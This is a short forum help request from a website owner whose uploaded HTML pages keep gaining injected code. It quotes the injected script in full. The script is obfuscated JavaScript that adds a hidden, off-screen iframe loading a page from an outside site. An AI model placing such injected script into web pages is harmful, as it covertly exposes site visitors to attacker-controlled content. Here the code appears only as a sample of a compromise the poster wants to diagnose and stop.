Nasty virus code unexplainably in my html

Hi there! Please help me!! It's driving me crazy:

Whenever I upload a simple html website, within a day or so something somehow adds some kind of virus code to it. The latest code looks like this, with the details of it sometimes changing:

<!--c3284d--><script>
var _q = document.createElement('iframe'),
_n = 'setAttribute';
_q[_n]('src', 'http://www.localwebgeek.com/wp-feeds.php');
_q.style.position = 'absolute';
_q.style.width = '16px';
_q[_n]('frameborder', navigator.userAgent.indexOf('d0a7a142b755172da72ff74a1ac25199') + 1);
_q.style.left = '-5597px';
document.write('<div id=\'__dradv\'></div>');
document.getElementById('__dradv').appendChild(_q);
</script><!--/c3284d-->

What is this and where does it come from? Something automatically adds it to my webpages after they have been uploaded for a day or so.

Most importantly, how do I stop this dead in its tracks? Any help would be severely appreciated.